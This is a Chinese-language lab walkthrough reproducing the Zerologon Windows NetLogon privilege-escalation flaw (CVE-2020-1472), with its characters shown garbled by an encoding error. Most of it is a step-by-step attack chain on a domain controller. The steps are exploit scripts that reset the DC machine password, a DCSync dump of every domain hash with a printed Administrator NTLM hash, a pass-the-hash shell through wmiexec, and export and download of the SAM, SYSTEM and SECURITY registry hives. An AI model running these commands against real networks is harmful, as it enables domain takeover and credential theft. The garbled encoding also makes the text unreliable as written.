NetLogon 域內(nèi)提權(quán)漏洞(CVE-2020-1472)復(fù)現(xiàn)
摘要
2020年08月12日,Windows官方 發(fā)布了 NetLogon 特權(quán)提升漏洞 的風(fēng)險(xiǎn)通告,該漏洞編號(hào)為 CVE-2020-1472,漏洞等級(jí):嚴(yán)重,漏洞評(píng)分:10分
攻擊者通過NetLogon(MS-NRPC),建立與域控間易受攻擊的安全通道時(shí),可利用此漏洞獲取域管訪問權(quán)限。成功利用此漏洞的攻擊者可以在該網(wǎng)絡(luò)中的設(shè)備上運(yùn)行經(jīng)特殊設(shè)計(jì)的應(yīng)用程序
影響版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
復(fù)現(xiàn)環(huán)境
版本: Windows Server 2012
IP: 10.99.99.253
Blosname: OWA2013 (域控的主機(jī)名)
漏洞腳本
impacket https://github.com/SecureAuthCorp/impacket
重置域內(nèi)管理員密碼poc https://github.com/dirkjanm/CVE-2020-1472
恢復(fù)密碼poc https://github.com/risksense/zerologon
復(fù)現(xiàn)開始
首先使用exp重置管理員密鑰
python3 cve-2020-1472-exploit.py OWA2013 10.99.99.253

通過 Dcsync獲取域內(nèi)所有有用戶hash
python3 secretsdump.py rootkit/OWA2013\$@10.99.99.253 -just-dc -no-pass

得到了域控的 Hash:
rootkit.org\Administrator:500:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
通過 wmic hash 傳遞獲取shell:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c rootkit.org/Administrator@10.99.99.253

通過導(dǎo)出 sam system 等文件到本地,獲取域控機(jī)器上本地保存之前的 hash 值用于恢復(fù),不然就脫域了:
備份注冊(cè)表
導(dǎo)出注冊(cè)表文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
將文件下載到本地
get system.save
get sam.save
get security.save
刪除文件
del /f system.save
del /f sam.save
del /f security.save

之后你會(huì)發(fā)現(xiàn)再你的當(dāng)前機(jī)器會(huì)生成幾個(gè)文件:sam.save、security.save、system.save

之后通過 sam.save、security.save、system.save 這些文件獲得原來域控機(jī)器上的 Ntlm Hash 值,用于恢復(fù)密碼:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通過拿到 $MACHINE.ACC: 的值,然后進(jìn)行恢復(fù)(注意只有后半部分)
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:7e304360db8cdb95d09a960607fcc526
恢復(fù)密碼
python3 reinstall_original_pw.py OWA2013 10.99.99.253 7e304360db8cdb95d09a960607fcc526

驗(yàn)證是否恢復(fù)密碼成功
python3 secretsdump.py rootkit/OWA2013\$@10.99.99.253 -just-dc -no-pass
